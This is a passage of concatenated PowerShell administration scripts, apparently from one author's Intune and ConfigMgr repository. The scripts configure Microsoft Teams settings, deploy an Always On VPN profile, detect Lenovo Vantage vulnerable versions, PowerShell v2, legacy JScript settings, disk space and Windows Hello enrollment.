process" 75 | try { 76 | Stop-Process -Name Teams -Force 77 | Start-Sleep 5 78 | Write-Verbose -Verbose -Message "Teams process successfully stopped" 79 | $true 80 | } 81 | catch { 82 | Write-Verbose -Verbose -Message "Failed to stop Teams" 83 | $false 84 | } 85 | } 86 | else { 87 | Write-Verbose -Verbose -Message "Teams is not running. Doing nothing" 88 | $true 89 | } 90 | } 91 | #endregion 92 | #region main process 93 | $getTeamsDesktopConfig = Get-TeamsDesktopConfig 94 | $teamsConfigPath = $getTeamsDesktopConfig[0] 95 | $teamsInstallLocation = $getTeamsDesktopConfig[1] 96 | 97 | if (-NOT[string]::IsNullOrEmpty($teamsConfigPath)) { 98 | $teamsConfigContent = Get-Content -Path $teamsConfigPath 99 | if (-NOT[string]::IsNullOrEmpty($teamsConfigContent)) { 100 | $configJson = ConvertFrom-Json -InputObject $teamsConfigContent 101 | if (-NOT[string]::IsNullOrEmpty($configJson)) { 102 | $stopTeams = Stop-Teams 103 | if ($stopTeams -eq $true) { 104 | # Deleting cookie file enabling us to write changes to config.json 105 | # This is a somewhat new requirement, and wasn't needed when I created my initial script 106 | if (Test-Path -Path $cookieFile) { 107 | Remove-Item -Path $cookieFile -Force -ErrorAction SilentlyContinue 108 | } 109 | try { 110 | $configJson.appPreferenceSettings.OpenAsHidden = $openAsHidden 111 | $configJson.appPreferenceSettings.OpenAtLogin = $openAtLogin 112 | $configJson.appPreferenceSettings.RunningOnClose = $runningOnClose 113 | $configJson.appPreferenceSettings.disableGpu = $disableGpu 114 | $configJson.appPreferenceSettings.registerAsIMProvider = $registerAsIMProvider 115 | $configJson.currentWebLanguage = $appLanguage 116 | $configJson.theme = $appTheme 117 | } 118 | catch { 119 | Write-Verbose -Verbose -Message "Failed to apply one or more changes to config.json" 120 | } 121 | # Additional configuration in registry is needed in order to change the IM provider 122 | if ($registerAsIMProvider -eq $true) { 123 | $imProviders = "HKCU:\SOFTWARE\IM Providers" 124 | if (Test-Path -Path $imProviders) { 125 | New-ItemProperty -Path $imProviders -Name DefaultIMApp -Value Teams -PropertyType STRING -Force 126 | } 127 | } 128 | elseif ($registerAsIMProvider -eq $false) { 129 | $imProviders = "HKCU:\SOFTWARE\IM Providers" 130 | $teamsIMProvider = "HKCU:\SOFTWARE\IM Providers\Teams" 131 | if (Test-Path -Path $teamsIMProvider) { 132 | $previousDefaultIMApp = (Get-ItemProperty -Path $teamsIMProvider -Name PreviousDefaultIMApp -ErrorAction SilentlyContinue).PreviousDefaultIMApp 133 | if ($previousDefaultIMApp) { 134 | New-ItemProperty -Path $imProviders -Name DefaultIMApp -Value $previousDefaultIMApp -PropertyType STRING -Force 135 | } 136 | else { 137 | Remove-ItemProperty -Path $imProviders -Name DefaultIMApp -ErrorAction SilentlyContinue 138 | } 139 | } 140 | } 141 | try { 142 | Write-Verbose -Verbose -Message "Creating and converting new content to Teams config file" 143 | $configJson | ConvertTo-Json -Compress| Set-Content -Path $teamsConfigPath -Force 144 | Write-Verbose -Verbose -Message "Successfully applied new content to Teams config file at $teamsConfigPath" 145 | } 146 | catch { 147 | Write-Output "Failed to create and convert new content to Teams config file. Exiting script with 1" 148 | exit 1 149 | } 150 | if (-NOT[string]::IsNullOrEmpty($teamsInstallLocation)) { 151 | try { 152 | Write-Verbose -Verbose -Message "Launching Microsoft Teams post processing config changes" 153 | Start-Process -FilePath $teamsInstallLocation\Current\Teams.exe 154 | Write-Output "All good. Successfully applied config changes and re-launched Teams. Exiting script with 0" 155 | exit 0 156 | } 157 | catch { 158 | Write-Output "Failed to launch Microsoft Teams post processing config changes. Exiting script with 1" 159 | exit 1 160 | } 161 | } 162 | } 163 | } 164 | } 165 | } 166 | #endregion -------------------------------------------------------------------------------- /Configure-VPNProfile.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This scripts configures the relevant VPN profile, and sets the versioning in registry 4 | 5 | .DESCRIPTION 6 | Currently when configuring the VPN profile via Intune and assign it to Windows 11 devices, Intune comes back with some random errors. 7 | Event logs comes back with event id 404, error CSP URI: (./User/Vendor/MSFT/VPNv2/W11-VPN-User-Tunnel), Result: (The specified quota list is internally inconsistent with its descriptor. 8 | 9 | This serves as an alternative to using Configuration Profiles in Intune and instead leverage Proactive Remediations. 10 | 11 | .NOTES 12 | Filename: Configure-VPNProfile.ps1 13 | Version: 1.0 14 | Author: Martin Bengtsson 15 | Blog: www.imab.dk 16 | Twitter: @mwbengtsson 17 | 18 | .LINK 19 | https://imab.dk/deploy-your-always-on-vpn-profile-for-windows-11-using-proactive-remediations-in-microsoft-intune 20 | 21 | #> 22 | 23 | $global:RegistryPath = "HKCU:\SOFTWARE\imab.dk\VPN Profile" 24 | $global:RegistryName = "VPNProfileVersion" 25 | $global:vpnProfileVersion = "1" 26 | $global:vpnProfileName = "imab.dk VPN" 27 | $global:vpnGuid = "327EEAAC641DCE4A94093C7D90CD6341" 28 | $global:currentDate = Get-Date -Format g 29 | [String]$global:VPNProfile = @' 30 | [imab.dk VPN] 31 | Encoding=1 32 | PBVersion=8 33 | Type=2 34 | AutoLogon=1 35 | UseRasCredentials=1 36 | LowDateTime=-1109293792 37 | HighDateTime=30915201 38 | DialParamsUID=1071859 39 | Guid=327EEAAC641DCE4A94093C7D90CD6341 40 | VpnStrategy=5 41 | ExcludedProtocols=0 42 | LcpExtensions=1 43 | DataEncryption=256 44 | SwCompression=0 45 | NegotiateMultilinkAlways=1 46 | SkipDoubleDialDialog=0 47 | DialMode=0 48 | OverridePref=15 49 | RedialAttempts=0 50 | RedialSeconds=0 51 | IdleDisconnectSeconds=0 52 | RedialOnLinkFailure=0 53 | CallbackMode=0 54 | CustomDialDll= 55 | CustomDialFunc= 56 | CustomRasDialDll= 57 | ForceSecureCompartment=0 58 | DisableIKENameEkuCheck=0 59 | AuthenticateServer=0 60 | ShareMsFilePrint=1 61 | BindMsNetClient=1 62 | SharedPhoneNumbers=0 63 | GlobalDeviceSettings=0 64 | PrerequisiteEntry= 65 | PrerequisitePbk= 66 | PreferredPort=VPN2-0 67 | PreferredDevice=WAN Miniport (IKEv2) 68 | PreferredBps=0 69 | PreferredHwFlow=0 70 | PreferredProtocol=0 71 | PreferredCompression=0 72 | PreferredSpeaker=0 73 | PreferredMdmProtocol=0 74 | PreviewUserPw=0 75 | PreviewDomain=0 76 | PreviewPhoneNumber=0 77 | ShowDialingProgress=0 78 | ShowMonitorIconInTaskBar=0 79 | CustomAuthKey=25 80 | CustomAuthData=3144424319000000FF00000001000000FF0000000100000001000000020000005800000031000000010000001400000082D033009F07557439D7FD2B379952D2 81 | CustomAuthData=FC96B16141004E00540057004500520050002E0049004E005400450052004E0054004E00450054002E0044004B00000001000000950000000D00000002000000 82 | CustomAuthData=86000000310000001400000082D033009F07557439D7FD2B379952D2FC96B16141004E00540057004500520050002E0049004E005400450052004E0054004E00 83 | CustomAuthData=450054002E0044004B00000001000000FE0006000100FD002C0082D033009F07557439D7FD2B379952D2FC96B16182D033009F07557439D7FD2B379952D2FC96 84 | CustomAuthData=B16100000000000000000000000000 85 | AuthRestrictions=128 86 | IpPrioritizeRemote=0 87 | IpInterfaceMetric=0 88 | IpHeaderCompression=0 89 | IpAddress=0.0.0.0 90 | IpDnsAddress=0.0.0.0 91 | IpDns2Address=0.0.0.0 92 | IpWinsAddress=0.0.0.0 93 | IpWins2Address=0.0.0.0 94 | IpAssign=1 95 | IpNameAssign=1 96 | IpDnsFlags=1 97 | IpNBTFlags=1 98 | TcpWindowSize=0 99 | UseFlags=2 100 | IpSecFlags=0 101 | IpDnsSuffix=yourdomain 102 | Ipv6Assign=1 103 | Ipv6Address=:: 104 | Ipv6PrefixLength=0 105 | Ipv6PrioritizeRemote=0 106 | Ipv6InterfaceMetric=0 107 | Ipv6NameAssign=1 108 | Ipv6DnsAddress=:: 109 | Ipv6Dns2Address=:: 110 | Ipv6Prefix=0000000000000000 111 | Ipv6InterfaceId=0000000000000000 112 | DisableClassBasedDefaultRoute=0 113 | DisableMobility=0 114 | NetworkOutageTime=0 115 | IDI= 116 | IDR= 117 | ImsConfig=0 118 | IdiType=0 119 | IdrType=0 120 | ProvisionType=0 121 | PreSharedKey= 122 | CacheCredentials=0 123 | NumCustomPolicy=0 124 | NumEku=0 125 | UseMachineRootCert=0 126 | Disable_IKEv2_Fragmentation=0 127 | PlumbIKEv2TSAsRoutes=0 128 | NumServers=1 129 | ServerListServerName=yourvpn.domain.com 130 | ServerListFriendlyName=ajax 131 | RouteVersion=1 132 | NumRoutes=12 133 | NumNrptRules=7 134 | AutoTiggerCapable=1 135 | NumAppIds=0 136 | NumClassicAppIds=0 137 | SecurityDescriptor= 138 | ApnInfoProviderId= 139 | ApnInfoUsername= 140 | ApnInfoPassword= 141 | ApnInfoAccessPoint= 142 | ApnInfoAuthentication=1 143 | ApnInfoCompression=0 144 | DeviceComplianceEnabled=0 145 | DeviceComplianceSsoEnabled=0 146 | DeviceComplianceSsoEku= 147 | DeviceComplianceSsoIssuer= 148 | FlagsSet=8419 149 | Options=2 150 | DisableDefaultDnsSuffixes=1 151 | NumTrustedNetworks=1 152 | NumDnsSearchSuffixes=1 153 | PowershellCreatedProfile=0 154 | ProxyFlags=0 155 | ProxySettingsModified=0 156 | ProvisioningAuthority= 157 | AuthTypeOTP=0 158 | GREKeyDefined=0 159 | NumPerAppTrafficFilters=0 160 | AlwaysOnCapable=1 161 | DeviceTunnel=0 162 | PrivateNetwork=1 163 | ManagementApp= 164 | 165 | NETCOMPONENTS= 166 | ms_msclient=1 167 | ms_server=1 168 | 169 | MEDIA=rastapi 170 | Port=VPN2-0 171 | Device=WAN Miniport (IKEv2) 172 | 173 | DEVICE=vpn 174 | PhoneNumber=yourvpn.domain.com 175 | AreaCode= 176 | CountryCode=0 177 | CountryID=0 178 | UseDialingRules=0 179 | Comment= 180 | FriendlyName= 181 | LastSelectedPhone=0 182 | PromoteAlternates=0 183 | TryNextAlternateOnFail=1 184 | '@ 185 | 186 | function Configure-VPNProfile() { 187 | $rasphoneFile = "$env:APPDATA\Microsoft\Network\Connections\Pbk\rasphone.pbk" 188 | $rasphoneFileTest = Test-Path -Path $rasphoneFile -ErrorAction SilentlyContinue 189 | if ($rasphoneFileTest -eq $true) { 190 | try { 191 | $rasFileContent = Get-Content -Path $rasphoneFile 192 | } 193 | catch { 194 | Write-Output "Could not get content of rasphone file: $rasphoneFile. Doing nothing." 195 | exit 1 196 | } 197 | if (-NOT[string]::IsNullOrEmpty($rasFileContent)) { 198 | if (($rasFileContent -contains "[$global:vpnProfileName]") -OR ($rasFileContent -contains "Guid=$global:vpnGuid")) { 199 | Write-Output "VPN profile is already present in rasphone.pbk file: $rasphoneFile. In this case, replacing the entire rasphone.pbk file" 200 | try { 201 | $global:VPNProfile | Out-File -FilePath $rasphoneFile -Encoding ascii -Force 202 | $global:rasphoneFileStatus = $true 203 | } 204 | catch { 205 | Write-Output "Could not create new rasphone file: $rasphoneFile" 206 | $global:rasphoneFileStatus = $false 207 | } 208 | } 209 | else { 210 | Write-Output "VPN profile was not found in rasphone.pbk file: $rasphoneFile. In this case, adding VPN profile to existing rasphone.pbk file" 211 | try { 212 | Add-Content -Path $rasphoneFile -Value $global:VPNProfile 213 | $global:rasphoneFileStatus = $true 214 | } 215 | catch { 216 | Write-Output "Could not add-content to rasphone file: $rasphoneFile" 217 | $global:rasphoneFileStatus = $false 218 | } 219 | } 220 | } 221 | } 222 | elseif ($rasphoneFileTest -eq $false) { 223 | Write-Output "rasphone.pbk file not found: $rasphoneFile. Creating new file from scratch" 224 | try { 225 | $global:VPNProfile | Out-File -FilePath $rasphoneFile -Encoding ascii -Force 226 | $global:rasphoneFileStatus = $true 227 | } 228 | catch { 229 | Write-Output "Could not create new rasphone file: $rasphoneFile" 230 | $global:rasphoneFileStatus = $false 231 | } 232 | } 233 | } 234 | 235 | function Set-VPNProfileVersion() { 236 | if (-NOT(Test-Path -Path $global:RegistryPath)) { 237 | New-Item -Path $global:RegistryPath -Force | Out-Null 238 | } 239 | if (Test-Path -Path $global:RegistryPath) { 240 | if (((Get-Item -Path $global:RegistryPath -ErrorAction SilentlyContinue).Property -contains $RegistryName) -ne $true) { 241 | New-ItemProperty -Path $global:RegistryPath -Name $global:RegistryName -Value "0" -PropertyType "String" -Force | Out-Null 242 | } 243 | if (((Get-Item -Path $global:RegistryPath -ErrorAction SilentlyContinue).Property -contains $RegistryName) -eq $true) { 244 | if ((Get-ItemProperty -Path $global:RegistryPath -Name $global:RegistryName -ErrorAction SilentlyContinue).$global:RegistryName -ine $global:vpnProfileVersion) { 245 | Write-Output "VPN profile version in registry is not equal to $global:vpnProfileVersion. Updating value in registry" 246 | New-ItemProperty -Path $global:RegistryPath -Name $global:RegistryName -Value $global:vpnProfileVersion -PropertyType "String" -Force | Out-Null 247 | New-ItemProperty -Path $global:RegistryPath -Name RunDateTime -Value $global:currentDate -PropertyType "String" -Force | Out-Null 248 | 249 | } 250 | } 251 | } 252 | } 253 | 254 | try { 255 | Configure-VPNProfile 256 | Set-VPNProfileVersion 257 | } 258 | catch { 259 | Write-Output "Script failed to run" 260 | exit 1 261 | } 262 | finally { 263 | if ($global:rasphoneFileStatus -eq $true) { 264 | Write-Output "rasphoneFileStatus equals True. Exiting with 0" 265 | exit 0 266 | } 267 | elseif ($global:rasphoneFileStatus -eq $false) { 268 | Write-Output "rasphoneFileStatus equals False. Exiting with 1" 269 | exit 1 270 | } 271 | } -------------------------------------------------------------------------------- /Connect-ConfigMgr-ISEAddons.ps1: -------------------------------------------------------------------------------- 1 | function Connect-ConfigMgr { 2 | 3 | # 4 | # Press 'F5' to run this script. Running this script will load the ConfigurationManager 5 | # module for Windows PowerShell and will connect to the site. 6 | # 7 | # This script was auto-generated at '18-11-2020 11:55:04'. 8 | 9 | # Uncomment the line below if running in an environment where script signing is 10 | # required. 11 | #Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process 12 | 13 | # Site configuration 14 | $SiteCode = "SiteCode" # Site code 15 | $ProviderMachineName = "SiteServer.fqdn.com" # SMS Provider machine name 16 | 17 | # Customizations 18 | $initParams = @{} 19 | #$initParams.Add("Verbose", $true) # Uncomment this line to enable verbose logging 20 | #$initParams.Add("ErrorAction", "Stop") # Uncomment this line to stop the script on any errors 21 | 22 | # Do not change anything below this line 23 | 24 | # Import the ConfigurationManager.psd1 module 25 | if((Get-Module ConfigurationManager) -eq $null) { 26 | Import-Module "$($ENV:SMS_ADMIN_UI_PATH)\..\ConfigurationManager.psd1" @initParams 27 | } 28 | 29 | # Connect to the site's drive if it is not already present 30 | if((Get-PSDrive -Name $SiteCode -PSProvider CMSite -ErrorAction SilentlyContinue) -eq $null) { 31 | New-PSDrive -Name $SiteCode -PSProvider CMSite -Root $ProviderMachineName @initParams 32 | } 33 | 34 | # Set the current location to be the site code. 35 | Set-Location "$($SiteCode):\" @initParams 36 | } 37 | 38 | $psISE.CurrentPowerShellTab.AddOnsMenu.Submenus.Add("Connect-ConfigMgr", 39 | { 40 | Connect-ConfigMgr 41 | },"ALT+F1") 42 | -------------------------------------------------------------------------------- /Detect-LenovoVantageVulnerabilities.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Detects the Lenovo Vantage vulnerabilities explained here: https://support.lenovo.com/cy/en/product_security/len-75210 4 | 5 | .DESCRIPTION 6 | Detects the Lenovo Vantage vulnerabilities explained here: https://support.lenovo.com/cy/en/product_security/len-75210 7 | 8 | .NOTES 9 | Filename: Detect-LenovoVantageVulnerabilities.ps1 10 | Version: 1.0 11 | Author: Martin Bengtsson 12 | Blog: www.imab.dk 13 | Twitter: @mwbengtsson 14 | 15 | .LINK 16 | 17 | #> 18 | $imControllerPath = "$env:windir\Lenovo\ImController\PluginHost\Lenovo.Modern.ImController.PluginHost.exe" 19 | $imCOntrollerServiceName = "ImControllerService" 20 | $imCOntrollerService = Get-Service -Name $imCOntrollerServiceName -ErrorAction SilentlyContinue 21 | $checkVersion = "1.1.20.3" 22 | if (-NOT[string]::IsNullOrEmpty($imCOntrollerService)) { 23 | if (Test-Path -Path $imControllerPath) { 24 | $fileVersion = (Get-Item -Path $imControllerPath).VersionInfo.FileVersion 25 | if ($fileVersion -lt $checkVersion) { 26 | Write-Output "[NOT GOOD]. IMController file version is less than $checkVersion. Device is vulnerable" 27 | exit 1 28 | } 29 | else { 30 | Write-Output "[ALL GOOD]. IMController file version is NOT less than $checkVersion. Device is NOT vulnerable" 31 | exit 0 32 | } 33 | } 34 | else { 35 | Write-Output "Lenovo IMController PATH not found. Device not affected by vulnerability" 36 | exit 0 37 | } 38 | } 39 | else { 40 | Write-Output "Lenovo IMController SERVICE not found. Device not affected by vulnerability" 41 | exit 0 42 | } -------------------------------------------------------------------------------- /Detect-LowDiskSpace.ps1: -------------------------------------------------------------------------------- 1 | $os = Get-CimInstance Win32_OperatingSystem 2 | $systemDrive = Get-CimInstance Win32_LogicalDisk -Filter "deviceid='$($os.SystemDrive)'" 3 | if (($systemDrive.FreeSpace/$systemDrive.Size) -le '0.70') { 4 | Write-Output "Disk space is considered low. Script is exiting with 1 indicating error" 5 | exit 1 6 | } 7 | else { 8 | Write-Output "Disk space is OK." 9 | exit 0 10 | } -------------------------------------------------------------------------------- /Detect-PoShv2.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script checks if Windows PowerShell version 2.0 is enabled on the system. 4 | 5 | .DESCRIPTION 6 | The script uses the Get-WindowsOptionalFeature cmdlet to get the status of the "MicrosoftWindowsPowerShellV2Root" feature, which represents Windows PowerShell version 2.0. If the feature is enabled, the script exits with a status code of 1. 7 | 8 | .NOTES 9 | Filename: Detect-PoShv2.ps1 10 | Version: 1.0 11 | Author: Martin Bengtsson 12 | Blog: www.imab.dk 13 | Twitter: @mwbengtsson 14 | #> 15 | # Get the state of the PowerShell v2.0 feature 16 | try { 17 | $PoShv2Enabled = Get-WindowsOptionalFeature -FeatureName "MicrosoftWindowsPowerShellV2Root" -Online | Select-Object -ExpandProperty State 18 | } catch { 19 | Write-Error "Failed to get the state of the PowerShell v2.0 feature: $_" 20 | exit 1 21 | } 22 | # If the feature is enabled, exit with a status code of 1 23 | if ($PoShv2Enabled -eq "Enabled") { 24 | exit 1 25 | } -------------------------------------------------------------------------------- /Detect-Registry-Legacy-JScript.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script will detect if one or more specific registry keys within the same path is configured with the set value. 4 | Script will exit with exit code 1 or 0, depending on mismatch or not, instructing Intune to potentially run the remediation script 5 | 6 | This is currently tailored directly towards replacing the GPO: MSFT Microsoft 365 Apps v2206 - Legacy JScript Block - Computer 7 | With a few adjustments, this can be used to configure any registry key and value 8 | 9 | .DESCRIPTION 10 | Same as above 11 | 12 | .NOTES 13 | Filename: Detect-Legacy-JScript-Registry.ps1 14 | Version: 1.0 15 | Author: Martin Bengtsson 16 | Blog: www.imab.dk 17 | Twitter: @mwbengtsson 18 | 19 | .LINK 20 | https://www.imab.dk/use-group-policy-analytics-to-move-microsoft-365-apps-security-baseline-to-the-cloud 21 | #> 22 | 23 | #region Functions 24 | function Test-RegistryKeyValue() { 25 | [CmdletBinding()] 26 | param( 27 | [Parameter(Mandatory=$true)] 28 | # The path to the registry key where the value should exist 29 | [string]$registryPath, 30 | [Parameter(Mandatory=$true)] 31 | # The name of the registry key 32 | [string]$registryName 33 | ) 34 | if (-NOT(Test-Path -Path $registryPath -PathType Container)) { 35 | return $false 36 | } 37 | $registryProperties = Get-ItemProperty -Path $registryPath 38 | if (-NOT($registryProperties)) { 39 | return $false 40 | } 41 | $member = Get-Member -InputObject $registryProperties -Name $registryName 42 | if (-NOT[string]::IsNullOrEmpty($member)) { 43 | return $true 44 | } 45 | else { 46 | return $false 47 | } 48 | } 49 | 50 | function Get-RegistryKeyValue() { 51 | [CmdletBinding()] 52 | param( 53 | [Parameter(Mandatory=$true)] 54 | # The path to the registry key where the value should exist 55 | [string]$registryPath, 56 | [Parameter(Mandatory=$true)] 57 | # The name of the registry 58 | [string]$registryName 59 | ) 60 | if (-NOT(Test-RegistryKeyValue -registryPath $registryPath -registryName $registryName)) { 61 | return $null 62 | } 63 | $registryProperties = Get-ItemProperty -Path $registryPath -Name * 64 | $value = $registryProperties.$registryName 65 | Write-Debug -Message ('[{0}@{1}: {2} -is {3}' -f $registryPath,$registryName,$value,$value.GetType()) 66 | return $value 67 | } 68 | #endregion 69 | 70 | #region Variables 71 | # Path to the relevant area in registry 72 | $registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_LEGACY_JSCRIPT_PER_SECURITY_ZONE" 73 | # All names of relevant registry keys 74 | $registryNames = @( 75 | "excel.exe" 76 | "msaccess.exe" 77 | "mspub.exe" 78 | "onenote.exe" 79 | "outlook.exe" 80 | "powerpnt.exe" 81 | "visio.exe" 82 | "winproj.exe" 83 | "winword.exe" 84 | ) 85 | #endregion 86 | 87 | #region Execution 88 | try { 89 | # Looping through each registry value to see if any changes are needed 90 | foreach ($name in $registryNames) { 91 | $getValue = Get-RegistryKeyValue -registryPath $registryPath -registryName $name 92 | # Hard coding the value of 69632. No need to do anything fancy here, as this is really the value needed 93 | if ($getValue -ne "69632") { 94 | Write-Output "[Not good]. Value of registry key: $name is not as expected. Needs remediation" 95 | $needsRemediation = $true 96 | # Breaking if registry key is missing or if value is not equal to 69632 97 | break 98 | } 99 | else { 100 | $needsRemediation = $false 101 | } 102 | } 103 | # Exit with proper exit code, instructing Intune to potentially carry out the remediation script 104 | if ($needsRemediation -eq $true) { 105 | exit 1 106 | } 107 | elseif ($needsRemediation -eq $false) { 108 | Write-Output "[All good]. Values of all registry keys are as expected. Doing nothing" 109 | exit 0 110 | } 111 | } 112 | catch { 113 | Write-Output "[Not good]. Something is broken. Please investigate" 114 | } 115 | #endregion -------------------------------------------------------------------------------- /Detect-TeamsAppSettings.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Manage various application settings in Microsoft Teams for Windows. 4 | 5 | This script is used as detection script with Proactive Remediations in Microsoft Endpoint Manager 6 | 7 | .DESCRIPTION 8 | Manage various application settings in Microsoft Teams for Windows, which currently consists of: 9 | 10 | - Auto-start application 11 | - Open application in background 12 | - On close, keep the application running 13 | - Disable GPU hardware acceleration 14 | - Register Teams as the chat app for Office 15 | - Application language 16 | - Application theme 17 | 18 | .NOTES 19 | Filename: Detect-TeamsAppSettings.ps1 20 | Version: 1.0 21 | Author: Martin Bengtsson 22 | Blog: www.imab.dk 23 | Twitter: @mwbengtsson 24 | 25 | .LINK 26 | https://www.imab.dk/configure-microsoft-teams-application-settings-using-proactive-remediations-in-microsoft-endpoint-manager-and-powershell 27 | 28 | #> 29 | #region parameters 30 | param( 31 | [ValidateSet($true,$false)] 32 | [bool]$openAsHidden = $true, 33 | [ValidateSet($true,$false)] 34 | [bool]$openAtLogin = $true, 35 | [ValidateSet($true,$false)] 36 | [bool]$runningOnClose = $true, 37 | [ValidateSet($true,$false)] 38 | [bool]$disableGpu = $false, 39 | [ValidateSet($true,$false)] 40 | [bool]$registerAsIMProvider = $true, 41 | [string]$appLanguage = "da-dk", 42 | [string]$appTheme = "darkV2" # Possible values are darkV2, defaultV2, contrast 43 | ) 44 | #endregion 45 | #region functions 46 | # Function to retrieve Teams config and install location 47 | function Get-TeamsDesktopConfig() { 48 | $registryPath = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" 49 | $configPath = "$env:APPDATA\Microsoft\Teams\desktop-config.json" 50 | $teamsInstalled = Get-ChildItem -Path $registryPath -Recurse | Get-ItemProperty | Where-Object {$_.DisplayName -eq "Microsoft Teams" } | Select-Object Displayname,InstallLocation,DisplayVersion 51 | if (-NOT[string]::IsNullOrEmpty($teamsInstalled)) { 52 | $displayName = $teamsInstalled.DisplayName 53 | $installLocation = $teamsInstalled.InstallLocation 54 | $appVersion = $teamsInstalled.DisplayVersion 55 | Write-Verbose -Verbose -Message "Application: $displayName is installed in $installLocation. Application version is $appVersion" 56 | if (Test-Path -Path $installLocation) { 57 | Write-Verbose -Verbose -Message "Teams installation found in $installLocation" 58 | if (Test-Path -Path $configPath) { 59 | Write-Verbose -Verbose -Message "Teams config found in $configPath" 60 | $configPath 61 | } 62 | } 63 | } 64 | else { 65 | Write-Verbose -Verbose -Message "Microsoft Teams application not installed" 66 | $false 67 | } 68 | } 69 | #endregion 70 | #region main process 71 | $teamsConfigPath = Get-TeamsDesktopConfig 72 | if (-NOT[string]::IsNullOrEmpty($teamsConfigPath)) { 73 | 74 | $teamsConfigContent = Get-Content -Path $teamsConfigPath 75 | $configJson = ConvertFrom-Json -InputObject $teamsConfigContent 76 | $configCheck = $configJson | Where-Object {($_.theme -ne $appTheme) -OR ($_.currentWebLanguage -ne $appLanguage) -OR ($_.appPreferenceSettings.OpenAsHidden -ne $openAsHidden) -OR ($_.appPreferenceSettings.OpenAtLogin -ne $openAtLogin) -OR ($_.appPreferenceSettings.RunningOnClose -ne $runningOnClose) -OR ($_.appPreferenceSettings.disableGpu -ne $disableGpu) -OR ($_.appPreferenceSettings.registerAsIMProvider -ne $registerAsIMProvider)} -ErrorAction SilentlyContinue 77 | 78 | if (-NOT[string]::IsNullOrEmpty($configCheck)) { 79 | Write-Output "Teams application settings are NOT configured as desired. Exiting script with 1" 80 | exit 1 81 | } 82 | else { 83 | Write-Output "Teams application settings are already configured as desired. Exiting script with 0" 84 | exit 0 85 | } 86 | } 87 | else { 88 | Write-Output "No Teams configuration found. Doing nothing. Exiting script with 0" 89 | exit 0 90 | } 91 | #endregion -------------------------------------------------------------------------------- /Detect-VPNProfile.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This scripts detects if the user has a relevant VPN profile, as configured with the vpnProfileVersion variable. 4 | This was made as an easy approach to version control. 5 | 6 | .DESCRIPTION 7 | Currently when configuring the VPN profile via Intune and assign it to Windows 11 devices, Intune comes back with some random errors. 8 | Event logs comes back with event id 404, error CSP URI: (./User/Vendor/MSFT/VPNv2/W11-VPN-User-Tunnel), Result: (The specified quota list is internally inconsistent with its descriptor. 9 | 10 | This serves as an alternative to using Configuration Profiles in Intune and instead leverage Proactive Remediations. 11 | 12 | .NOTES 13 | Filename: Detect-VPNProfile.ps1 14 | Version: 1.0 15 | Author: Martin Bengtsson 16 | Blog: www.imab.dk 17 | Twitter: @mwbengtsson 18 | 19 | .LINK 20 | https://imab.dk/deploy-your-always-on-vpn-profile-for-windows-11-using-proactive-remediations-in-microsoft-intune 21 | 22 | #> 23 | 24 | $global:RegistryPath = "HKCU:\SOFTWARE\imab.dk\VPN Profile" 25 | $global:RegistryName = "VPNProfileVersion" 26 | $global:vpnProfileVersion = "1" 27 | function Get-VPNProfileVersion() { 28 | if (Test-Path -Path $global:RegistryPath) { 29 | if (((Get-Item -Path $global:RegistryPath -ErrorAction SilentlyContinue).Property -contains $global:RegistryName) -eq $true) { 30 | $vpnVersion = (Get-ItemProperty -Path $global:RegistryPath -Name $global:RegistryName -ErrorAction SilentlyContinue).VPNProfileVersion 31 | if (-NOT[string]::IsNullOrEmpty($vpnVersion)) { 32 | Write-Output $vpnVersion 33 | } 34 | } 35 | } 36 | } 37 | $getVersion = Get-VPNProfileVersion 38 | if (-NOT[string]::IsNullOrEmpty($getVersion)) { 39 | if ($getVersion -lt $global:vpnProfileVersion) { 40 | Write-Output "VPN profile version in registry is less than the version configured in the script. Needs updating" 41 | exit 1 42 | } 43 | elseif ($getVersion -eq $global:vpnProfileVersion) { 44 | Write-Output "VPN profile version in registry matches the version configured in the script. Doing nothing" 45 | exit 0 46 | } 47 | elseif ($getVersion -gt $global:vpnProfileVersion) { 48 | Write-Output "VPN profile version in registry is greater than the version configured in the script. This is unexpected. Doing nothing" 49 | exit 0 50 | } 51 | } 52 | else { 53 | Write-Output "VPN profile version not found in registry. This usually means, that the profile needs updating" 54 | exit 1 55 | } -------------------------------------------------------------------------------- /Detect-WindowsHelloEnrollment.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Script will detect if the logged on user is using the PIN credential provider indicating that the user is making use of Windows Hello for Business 4 | 5 | .DESCRIPTION 6 | Script will detect if the logged on user is using the PIN credential provider indicating that the user is making use of Windows Hello for Business. 7 | If the logged on user is not making use of the PIN credential provider, the script will exit with error 1. 8 | This will signal an error to Endpoint Analytics Proactive Remediations 9 | 10 | 11 | .NOTES 12 | Filename: Detect-WindowsHelloEnrollment.ps1 13 | Version: 1.0 14 | Author: Martin Bengtsson 15 | Blog: www.imab.dk 16 | Twitter: @mwbengtsson 17 | 18 | .LINK 19 | https://www.imab.dk/endpoint-analytics-find-devices-not-enrolled-with-windows-hello-for-business/ 20 | 21 | #> 22 | 23 | # Getting the logged on user's SID 24 | $loggedOnUserSID = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value 25 | # Registry path for the PIN credential provider 26 | $credentialProvider = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{D6886603-9D2F-4EB2-B667-1971041FA96B}" 27 | if (Test-Path -Path $credentialProvider) { 28 | $userSIDs = Get-ChildItem -Path $credentialProvider 29 | $items = $userSIDs | Foreach-Object { Get-ItemProperty $_.PsPath } 30 | } 31 | else { 32 | Write-Output "Registry path for PIN credential provider not found. Exiting script with status 1" 33 | exit 1 34 | } 35 | if(-NOT[string]::IsNullOrEmpty($loggedOnUserSID)) { 36 | # If multiple SID's are found in registry, look for the SID belonging to the logged on user 37 | if ($items.GetType().IsArray) { 38 | # LogonCredsAvailable needs to be set to 1, indicating that the credential provider is in 